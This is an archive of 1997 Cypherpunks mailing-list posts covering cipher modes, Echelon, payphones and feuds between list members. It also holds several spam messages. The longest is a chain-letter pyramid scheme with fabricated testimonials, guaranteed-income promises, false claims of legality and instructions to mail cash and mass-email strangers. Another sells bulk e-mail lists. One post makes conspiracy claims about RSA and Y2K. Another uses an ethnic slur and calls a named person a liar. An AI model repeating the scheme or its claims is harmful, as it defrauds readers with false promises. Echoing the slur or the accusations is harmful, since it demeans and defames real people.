(If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-572-583





From orgel at wizard.net  Sat Dec 20 17:17:33 1997
From: orgel at wizard.net (David Orgel)
Date: Sun, 21 Dec 1997 09:17:33 +0800
Subject: Fwd: Dec. 16 column -- Bill of Rights
Message-ID: <199712210114.UAA15436@radagast.wizard.net>



On 12/20/97 5:08 PM EST (-0500), Brian B. Riley wrote:

>To their credit, Aaron Zelman and J.E. Simkin of the little 
>Milwaukee-based Jews for the Preservation of Firearms Ownership ...  

Oy vey. (I'm sort of average height and not based in Milwaukee, so they 
probably wouldn't let me in.)

--David






From JohnsMP at LOUISVILLE.STORTEK.COM  Sat Dec 20 17:51:32 1997
From: JohnsMP at LOUISVILLE.STORTEK.COM (Johnson, Michael P (Mike))
Date: Sun, 21 Dec 1997 09:51:32 +0800
Subject: ECB, CBC, CFB, OFB
Message-ID: 




>Somebody asked:
>>Can somebody more experienced than I am explain the strengths and weaknesses
>>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>
>>              ecb    Electronic codebook mode
>>                     c[i] = f1(K, p[i])
>>                     p[i] = f2(K, c[i])

This is the weakest mode. Patterns in the plain text tend to cause
repeated blocks in the output, causing some information leakage. This
mode is really only suitable if you have exactly one block or less to
encrypt or if random access at the block level is critical. An error in
the ciphertext or plaintext only affects one block, as long as bit count
integrity is maintained.

>>              cbc    Ciphertext block chaining mode
>>                     c[i] = f1(K, p[i]) ^ c[i-1]
>>                     p[i] = f2(K, c[i]) ^ c[i-1]

This is good at preventing information leakage. A one bit error in the
ciphertext causes a one block error in the plain text => reasonable
balance between tamper detection and error resistance. This mode is
commonly used.

>>              cfb    Ciphertext feeback mode
>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>                     p[i] = f1(K, c[i-1]) ^ c[i]

This is good at preventing information leakage. A one bit error in the
ciphertext causes a one bit error in the plain text => good for use in
high noise environments where error detection and correction is
(inexplicably) not used and tamper detection is not as critical. Doesn't
require a decryption mode, so a hash function like SHA1 could be used in
this mode instead of a general block cipher.

>>              ofb    Output feeback mode
>>                     h[i] = f1(K, h[i-1])
>>                     c[i] = p[i] ^ h[i]
>>                     p[i] = c[i] ^ h[i]

This mode essentially turns a block cipher into a stream cipher without
feedback. It must be used with the same caution as such a cipher. In
other words, the same stream should not be reused, but a new starting
point (initialization vector = h[-1]) and/or key should be chosen for
each message. No padding or data size expansion is necessary.

Several other modes are possible...

For really slow performance, you can try some kind of key feedback. :-)
   K[i] = K[i-1] ^ p[i-1]   or maybe   K[i] = e(K[i-1], K[i-2])
   c[i] = e(K[i], p[i])
   p[i] = d(K[i], c[i])
Caution: bizarre modes may not be well analyzed... although I think some
key feedback modes have merit when you are trying to slow an attacker
down. They might really mess up specialized cracking hardware. :-)







From ualdv8 at sk.sympatico.ca  Sat Dec 20 18:45:51 1997
From: ualdv8 at sk.sympatico.ca (Six)
Date: Sun, 21 Dec 1997 10:45:51 +0800
Subject: World SpyMonger System [WAS NEVER: The Last Lamer CypherPunk]
Message-ID: <199712210240.UAA12402@harrier.sasknet.sk.ca>




>From: "Vladimir Z. Nuri" 
>- ----------------------------------------------------------
>>Daily Telegraph  Connected Supplement 16th December 1997
>>
>>A European Commission report warns that the United States has developed an
>>extensive spying network on European Citizens and we should all be worried,
>>reports Simon Davies.
>>
>>A global electronic spy network that can eavesdrop on every telephone,email
>>and telex communication around the world will be officially acknowledged
>>for the first time in a European Commission report to be delivered this
>>week.

On a mailing list whose subscribers are alleged to include the last of a
variety of
dying breeds [Last True CypherPunk, Last Canadian Outlaw, Last Anarchist],
it is no
doubt inevitable that the Last Lamer CypherPunk must also be among the
current ranks.
How can you tell if *you* are the Last Lamer CypherPunk?

Were you surprised to find out that Knixon knew?
Were you surprised to find out that RSA was 'developed'  with
funding by
Naval Intelligence after *years* of experimentation and use by British
Intelligence?
Were you surprised to find out that unelected representatives of secret
agencies are
involved in worldwide monitoring and manipulation of all communications and
financial
transactions?
Do you plan to be surprised when fallout from the Y2K problem turns out to
be the
definitive excuse for instituting a global, financial New World Order?

If you can answer "Yes" to all of the above questions, you may be the Last Lamer
CypherPunk.

>>Until now evidence of such astounding technology has been patchy and
>>anecdotal. 

For those living in LamerWorld, maybe. I was aware of the details currently
being 
'discovered' when I was eight years old. I was also playing with IRS source
code at
that age, studying the Millennium Bug.

>>"The Echelon system forms part of the UKUSA system but unlike many of the
>>electronic spy sysfems developed during the Cold War, Echelon is designed
>>primarily for non-military targets: governments, organizations  and
>>businesses in virtually every country.

In other words, while list members are decrying Tim C. May's use of the phrase,
"broken eggs and all that," in reference to his "other brother Timmy's"
political
statement, the targets of McVeigh's wrath are busily at work in another
government
building (still hiding behind children) deciding which individuals, businesses,
governments and countries will live, and which ones will die.

>>Former signals intelligence operatives have claimed that spy bases control
>>led by America have the ability to search nearly all data communications
>>for kev words. They claim that Echelon automatically analyses most email
>>messaging for "precursor". data which assists intelligence agencies to
>>determine targets.

Of course, those who have been disseminating manuscripts concerning this
activity
across the InterNet for almost a decade are still considered fringe lunatics.
This will still no doubt be the case when the clock strikes midnight on Dec.
31, 1999,
at which time the prophecy that "Gomez is coming" will be fulfilled as
described in
1989, in the opening chapter of "The Xenix Chainsaw Massacre":
    "His Login is Panic
     His Password is Crash
     When Time is of Essence
     He'll Rise from the Ash."

>>The driving force behind the report is Glyn Ford. Labour MEP for Greater
>>Manchester East. He believes the report is crucial to the future of civil
>>liberties in Europe.

>>"There are times in history when technology helps democratise, and times
>>when it helps centralise. This is a time of centralisation. The justice
>>and home affairs pillar of Europe has become more powerful without a
>>corresponding strengthening of civil liberties."

This time, it is global--it is for "all the marbles."
Anyone who still believes that the "Forces of Light" and "Dark Allies"
analogies in
'The True Story of the InterNet' are frivolous, should just turn on the TV
and go back
to sleep.
Anyone who fails to see that the encryption, anonymity and privacy issues
dealt with
on the CypherPunks list will soon be literal life-and-death issues in the near
future needs to send their private keys to the government immediately, so
that they
can 'save' you more efficiently in the future.

>>Glyn Ford hopes his report may be the first step in a long road to more
>>openness. "Some democratically elected body should surely have a right to
>>know at some level. At the monment that's nowhere."

If you are waiting for "some democratically elected body" to 'save' you from
the 'bad
guys', then you may well be the Last Lamer CypherPunk (TM).


The Revolution Is Now!

Sixual Deviate
CypherKid Cult of One
|<---->|
   8"






From nobody at bureau42.ml.org  Sat Dec 20 19:15:49 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Sun, 21 Dec 1997 11:15:49 +0800
Subject: Automatic Translations
Message-ID: 



Just out of curiosity I ran a paragraph of one of Bob H's wordy
pieces through a few translations and, son of a bitch! if it didn't become clearer!

"The similarities are still the small for the things as
hashcash or or to a larger MicroMint. As modernities,
which are applicable in meatspace, it is economic 'the
expensive Minze' first modernity the gift of the electrical
noises, but the remainder vanishingly. Although it it, which
it would estimate in the value, which something is left,
without regulation to it says the duration of the loop to this.
It is, because the alternative of the costs of everything
occurs inflamed to inside and this of. If the right of the
value is not only repaired to the useful articles, qualcun
another and Arbitraging in the whole case begins. Scalpers
the card is a traditional example of this. The sources of the
trade to the resistance press it ulteriorly, in the height
production, qualcun another, I, appear out."






From ses at tipper.oit.unc.edu  Sat Dec 20 20:15:47 1997
From: ses at tipper.oit.unc.edu (Simon Spero)
Date: Sun, 21 Dec 1997 12:15:47 +0800
Subject: How about a Bay Area Cypherpunks meeting 1/17/98?
In-Reply-To: <3.0.3.32.19971220162642.0074f3dc@popd.ix.netcom.com>
Message-ID: 



On Sat, 20 Dec 1997, Bill Stewart wrote:

The 17th also happens to be just after a W3C meeting in Palo Alto. I was
planning to spend the day hanging at the mall with Chelsea, but this could
be fun too...

Simon

----
Now available - The Freddy Hayek Kayak            | "Pass me another elf
Paddle Your Own Canoe! Be Rowed To Surfdom!       | Sergeant- this one's
>From The Taco Institute for Dyslexic Libertarians | split"
  Moments ago I had everything. Now, there's a cow in my nose - La Salla






From busniess_123jst at hotmail.com  Sun Dec 21 12:22:36 1997
From: busniess_123jst at hotmail.com (Start Making Money Now!!!)
Date: Sun, 21 Dec 1997 12:22:36 -0800 (PST)
Subject: A Business Opportunity just for You...
Message-ID: <19971221601JAA51791@post.logicallink.com>


Hello!

My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and 
use my account primarily for business.  I received what I assumed was
this same e-mail countless times and deleted it each time.

About two months ago I received it again and, because of the catchy 
subject line,  I finally read it.  Afterwards, I thought , "OK, I 
give in, I'm going to try this.  I can certainly afford to invest $20 
and, on the other hand, there's nothing wrong with creating a little 
excess cash."  I promptly mailed four $5 bills and, after receiving
 the reports, paid a friend of mine a small fee to send out some 
e-mail advertisements for me.  After reading the reports, I also 
learned how easy it is to bulk e-mail for free! 

I was not prepared for the results.  Every day for the last six weeks,
my P.O. box has been overflowing with $5 bills; many days the excess
fills up an extra mail bin and I've had to upgrade to the corporate-
size box!  I am stunned by all the money that keeps rolling in!

My husband and I have been saving for several years to make a 
substantial downpayment on a house.  Now, not only are we purchasing
a house with 40% down, we're going to Venice, Italy to celebrate!

I promise you, if you follow the directions in this e-mail and be 
prepared to eventually set aside about an hour each day to follow up
(and count your money!), you will make at least as much money as we 
did.  If you can open an envelope, remove the money, and send an 
e-mail message, then you're on your way to the bank.  Take the time 
to read this so you'll understand how easy it is.  If I can do this,
so can you!"


================================================
================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY LITTLE investment
and the income return is TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
OPPORTUNITY.   It does not require you to come into contact with
people, do any hard work, and best of all, you never have to leave 
the house except to get the mail.  If you believe that someday you'll 
get that big break that you've been waiting for, THIS IS IT!  Simply
follow the instructions, and your dream will come true.  This
multi-level e-mail order marketing program works perfectly...100%
EVERY TIME.  E-mail is the sales tool of the future.  Take advantage
of this non-commercialized method of advertising NOW!!!  The longer
you wait, the more people will be doing business using e-mail.  Get
your piece of this action!!!  

MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being taught in the Harvard Business School, 
and both Stanford Research and the Wall Street Journal have stated
that between 50% and 65% of all goods and services will be sold
through multi-level methods by the mid to late 1990's.  This is a 
Multi-Billion Dollar industry and of the 500,000 millionaires in the 
U.S., 20% (100,000)  made their fortune in the last several years in
MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing. 

The enclosed information is something I almost let slip through my 
fingers.  Fortunately, sometime later I re-read everything and gave 
some thought and study to it.  

My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews, I decided to open my 
own business.  Over the past year, I incurred many unforeseen 
financial problems.  I owed my family, friends and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT 
#1.  By January 13, I had received 26 orders for REPORT #1.  When
you read the GUARANTEE in the program, you will see that "YOU
MUST RECEIVE 15-20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS.  IF YOU DON'T,
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making 
$50,000 in 20-90 days was done. By January 30, I had received 196 
orders for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST 
RECEIVE 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS.  IF NOT, SEND OUT 
MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS 
EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 
orders for REPORT #2, 96 more than I needed.  So I sat back and 
relaxed.  By March 19, of my e-mailing of 10,000, I received $58,000
with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please 
take time to read the attached program, IT WILL CHANGE YOUR
LIFE FOREVER!!!  Remember, it won't work if you don't try it.  This
program does work, but you must follow it EXACTLY!  Especially
the rules of not trying to place your name in a different place.  It 
won't work, you'll lose out on a lot of money!  REPORT #2 explains 
this. Always follow the guarantee, 15-20 orders for REPORT #1, and 
100+ orders for REPORT #2 and you will make $50,000 or more in 
20-90 days.  I AM LIVING PROOF THAT IT WORKS!!!

If you choose not to participate in this program, I am sorry.  It 
really is a great opportunity with little cost or risk to you.  If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

If you are a fellow business owner and are if financial trouble like 
I was, or you want to start your own business, consider this a sign. 
I DID!
                              Sincerely,             

                         Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!



A PERSONAL NOTE FROM THE ORGINATOR OF THIS
PROGRAM:
By the time you have read the enclosed program and reports, you
should have concluded that such a program, and one that is legal, 
could not have been created by an amateur.  

Let me tell you a little about myself.  I had a profitable business 
for 10 years.  Then in 1979 my business began falling off.  I was 
doing the same things that were previously successfull for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy.  Inflation and recession had replaced the stable economy
that had been with us since 1945.  I don't have to tell you what 
happend to the unemployment rate... because many of you know from 
first hand experience.  There were more failures and bankruptcies 
than ever before. 

The middle class was vanishing.  Those who knew what they were
doing invested wisely and moved up.  Those who did not, 
including those who never had anything to save or invest, were 
moving down into the ranks of the poor.  As the saying goes, 
"THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move
up" or "get rich", inflation will see to that.

You have just received information that can give you financial 
freedom for the rest of your life, with "NO RISK" and "JUST A
LITTLE BIT OF EFFORT."  You can make more money in the next
few months than you have ever imagined.  

I should also point out that I will not see a penny of this money, 
nor anyone else who has provided a testimonial for this program.  I 
have already made over 4 MILLION DOLLARS!  I have retired from
the program after sending out over 16,000 programs.  Now I have 
several offices that make this and several other programs here and 
over seas.  By the spring we wish to market the "internet" by a 
partnership with AMERICA ON LINE.  

Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.  It works exceedingly well as it is now.  Remember to 
e-mail a copy of this exciting report to everyone you can think of.  
One of the people you send this to may send out 50,000...and your 
name will be on everyone of them!  Remember though, the more you
send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU 
NOW!



"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a little time to read it and REALLY THINK ABOUT IT.  Get a 
pencil and figure out what could happen when YOU participate. 
Figure out the worst possible response and no matter how you 
calculate it, you will still make a lot of money!  You will 
definitely get back what you invested.  Any doubts you have will 
vanish when your first orders come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC



HERE'S HOW THIS AMAZING PROGRAM WILL MAKE
YOU $$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll assume you and all those involved send out only 2,000 
programs each.  Let's also assume that the mailing receives a 0.5% 
response.  Using a good list the response could be much better.
Also many people will send out hundreds of thousands of programs 
instead of 2,000.  But continuing with this example, you send out 
only 2,000 programs.  With a 0.5% response, that is only 10 orders 
for REPORT #1.  Those 10 people respond by sending out 2,000 
programs each for a total of 20,000.  Out of those 0.5%, 100 people 
respond and order REPORT #2.  Those 100 mail out 2,000 programs 
each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each
for a 2,000,000 total.  The 0.5% response to that is 10,000 orders 
for REPORT #4.  That's 10,000 $5 bills for you.  CASH!!! Your
total income in this example is $50 + $500 + $5,000 + $50,000 for
a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM!  DARE TO 
THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 
100,000 PROGRAMS INSTEAD OF 2,000.  Believe me, many people will do
just that, and more!  By the way, your cost to participate in this 
is practically nothing.  You obviously already have an internet 
connection and e-mail is FREE!!!  REPORT #3 will show you the best 
methods for bulk e-mailing and obtaining e-mail lists. 



INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of 
raising capital that REALLY WORKS 100% EVERYTIME.  I am 
sure that you could use $50,000 to $125,000 in the next 20-90 days. 
Before you say "BULL... ", please read this program carefully.  

This is not a chain letter, but a perfectly legal money making 
opportunity.  Basically, this is what you do:  As with all 
multi-level business, we build our business by recruiting new 
partners and selling our products.  Every state in the USA allows
you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved 
in personal selling.  You do it privately in your own home, store 
or office.  This is the GREATEST Multi-Level Mail Order 
Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND NUMBER.  
Do this by ordering the REPORT from each of the four (4) names 
listed on the next page.  For each REPORT, send $5 CASH and a 
SELF-ADDRESSED STAMPED envelope (BUSINESS SIZE #10) to the person 
listed for the SPECIFIC REPORT.  International orders should also
include $1 extra for postage.  It is essential that you specify 
the NAME and NUMBER of the REPORT requested to the person you are
ordering it from.  You will need ALL FOUR (4) REPORTS because you 
will be REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
yours, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.
____________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM: 

 Ekrit T.
 4470 Sunset Blvd. # 731
 Los Angeles, CA  90027

____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

KATHY SMITH
5312 S. E. 30 AVE
OCALA, FL 34480-7524

____________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Liberty Publishing Inc.
2107 W. Commonwealth Ave.  Dept.264
Alhambra, CA 91803

____________________________________________________


REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Kal Inc.
P.O. Box 2433
Glenview, IL. 60025-2433

____________________________________________________



CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get
a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain letters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luc






From Call-NOW at 1-602-267-9688  Sun Dec 21 13:14:42 1997
From: Call-NOW at 1-602-267-9688 (Call-NOW at 1-602-267-9688)
Date: Sun, 21 Dec 1997 13:14:42 -0800 (PST)
Subject: (Last Call) -Big Year End Sale!!!-
Message-ID: <20906794_49757066>



               *********************************
         Linko -- P.O. Box 66781 -- Phoenix, AZ 85082
      Phone (602)267-9688 Fax (602)275-1868  1-11pm (MST)
                      
            - LAST CALL -- LAST CALL -- LAST CALL -
            ***************************************

Greetings Business Owners & Managers,

We welcome you to our "Years End Holiday Special"...." Sale of all
Sales". We are slashing the prices to the bare bones on  all of our
Commercial Bulk E-mail Services and the prices of all our E-mail 
lists. The prices stated below will remain in effect until midnight
January 1, 1998. If you would like to order please call Linko at
(602)267-9688 to discuss the details. We accept checks by phone or
fax. We will be raising our prices slightly in 1998. Order now!!!
                       ********************

Commercial E-mail Service Rates:

We will mail your two page sales letter,(80 lines total), to our
best lists for the prices stated below. If you want us to send a
longer message please add 20% for each extra page. 


Bulk e-mail to 100,000 General List.. Reg. $79.95.. Sale price $49.95
Bulk e-mail to 50,000 General List... Reg. $59.95.. Sale price $29.95

Bulk e-mail to 100,000 Biz-owners.. Reg. $199.95.. Sale price $129.95
Bulk e-mail to 50,000 Biz-owners....Reg. $129.95.. Sale price $69.95

Bulk e-mail to 50,000 MLM List... Reg. $139.95.... Sale price $79.95
Bulk e-mail to 25,000 MLM List... Reg. $99.95..... Sale price $59.95
Bulk e-mail to 5,000 MLM List.... Reg. $39.95..... Sale price $24.95

     Bulk mail to custom lists is also available in some cases.
      Please call to discuss building of special custom lists.

 ***** NOBODY BUT NOBODY BEATS OUR COMMERCIAL E-MAIL PRICES ****
*****************************************************************

*****************************************************************
GOOD QUALITY E-MAIL LISTS:

100,000 GENERAL E-MAIL ADDRESSES REG. $19.95....  Sale price $9.95
500,000 GENERAL E-MAIL ADDRESSES REG. $59.95....  Sale price $29.95

10,000 BIZ OWNERS E-MAIL ADDRESSES REG. $39.95... Sale Price $19.95
25,000 BIZ OWNERS E-MAIL ADDRESSES REG. $59.95... Sale Price $29.95
50,000 BIZ OWNERS E-MAIL ADDRESSES REG. $79.95... Sale Price $39.95

5,000 MLM  E-MAIL ADDRESSES REG.. $29.95......... Sale Price $14.95
25,000 MLM  E-MAIL ADDRESSES REG. $99.95......... Sale Price $49.95
50,000 MLM  E-MAIL ADDRESSES REG. $139.95........ Sale Price $69.95

*ALL LISTS ARE MAILED U.S.P.S. WITH ONE ON A LINE IN .TXT FORMAT*
                  *** 1.4 MG - 3-1/2" DISKETTE ***

   ***** DON'T FORGET.... THIS SALE ENDS January 1, 1998 *****
    ****** YOUR BUSINESS IS APPRECIATED...... THANKS *******
******************************************************************





From dlv at bwalk.dm.com  Sat Dec 20 21:26:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 13:26:59 +0800
Subject: Is Anonymous Communication only for "Criminals"?
In-Reply-To: 
Message-ID: 



bureau42 Anonymous Remailer  writes:

> >(Even the _ability_ to block a pay phone, qua pay phone, must imply that
> >pay phones send out some kind of signal announcing themselves as pay
> >phones, which I had not heard of before. I assumed a pay phone was Just
> >Another Phone Number.)
>
> Caller ID identifies most pay phones as "PAY PHONE".

Many years ago the phone company tried to assign pay phones phone numbers
of the form xxx-9xxx. They no lobger do in area codes/exchanged where the
numbers are very scarce.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Dec 20 21:27:44 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 13:27:44 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712202049.VAA13608@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:
>
> On Sat, 20 Dec 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
> > for the ideology; he'll bend over the moment he thinks there's more $$ in
> > bending over, which is usually the case.

> What is wrong selling privacy for money?
> Do you have any prof that Lance Cottrell would "bending over" his
> principles in favour of money.

If "prof" is supposed to be "proof" then the answer is yes. Lance Cottrell
has spoken many times in favor of content censorship. Witness, for example,
his harrassment of HipCrime.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From wombat at mcfeely.bsfs.org  Sat Dec 20 21:51:25 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Sun, 21 Dec 1997 13:51:25 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <19971220162410.14018@die.com>
Message-ID: 



> 	War on (some) Drugs...  they don't want to, they have been asked to...
> 
> 	Most payphones can no longer receive calls because of this as
> well, and there are far fewer of them around in certain areas than there
> used to be ...
> 

More like simple economics; after the breakup, a lot of pay phones were 
operated by companies specializing in this type of service. Pay phones 
are high maintenance, and their operators can only turn a profit by 
charging very high rates; if you make a quick call and ask the other 
party to call you back at the pay phone, the pay phone operator doesn't 
make much money.

Can you site any legislation barring pay phones from receiving calls? I'd 
think that most pay phone operators would be glad to deny incomming calls 
if they were allowed to (as they often are), and wouldn't need to be forced.

(If you carry a pager only so a select group of people can reach you, you 
may want to block pay phone calls - beats having crack-heads paging you 
instead of their dealer by mistake at 4:00 a.m. - OTOH, you meet a lot 
of interesting people this way ... :)  )

-r.w.






From dlv at bwalk.dm.com  Sat Dec 20 21:52:00 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 13:52:00 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712202049.VAA13608@basement.replay.com>
Message-ID: <7yP2He31w165w@bwalk.dm.com>



nobody at REPLAY.COM (Anonymous) writes:

> > Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
> > because he failed miserable and diversified into peddiling shitty software
> > and making idiotic legal threats? He happily pulled plugs bases on content,
> > while at the same time stating in court papers that he doesn't censor conte
> > What a pathological liar.
> I suppose you can back up your claim with documentation.
> What court document are you referring as evidence that Sameer Parekh is a
> pathological liar?

I refer, inter alia, to the smelly Arab pulling the plug on netscum at c2.net back
when c2 peddling "privacy". The following is from Parekh's own net.scum page:

]Sameer Parekh, sameer at c2.net, pulled the plug on the Net.Scum pages because
]he did not like their content. At about the same time Sameer was sued by the
]Software Publishers Association because his computer was being used by
]his friends to distribute pirated software. Sameer claimed in court papers
]that he exercises no control over his users' contents. He clearly lied:
]
]>From sameer Thu Oct 24 10: 34:59 1996
]>Received: (from sameer at localhost) by blacklodge.c2.net (8.7.6/8.7.3) id
]>KAA05716; Thu, 24 Oct 1996 10:34:58 -0700 (PDT)
]>From: sameer 
]>Message-Id: <199610241734.KAA05716 at blacklodge.c2.net>
]>Subject: Re: www.c2.net/~netscum/mayt0.html
]>To: netscum at c2.net
]>Date: Thu, 24 Oct 1996 10:34:58 -0700 (PDT)
]>Cc: sameer at c2.net
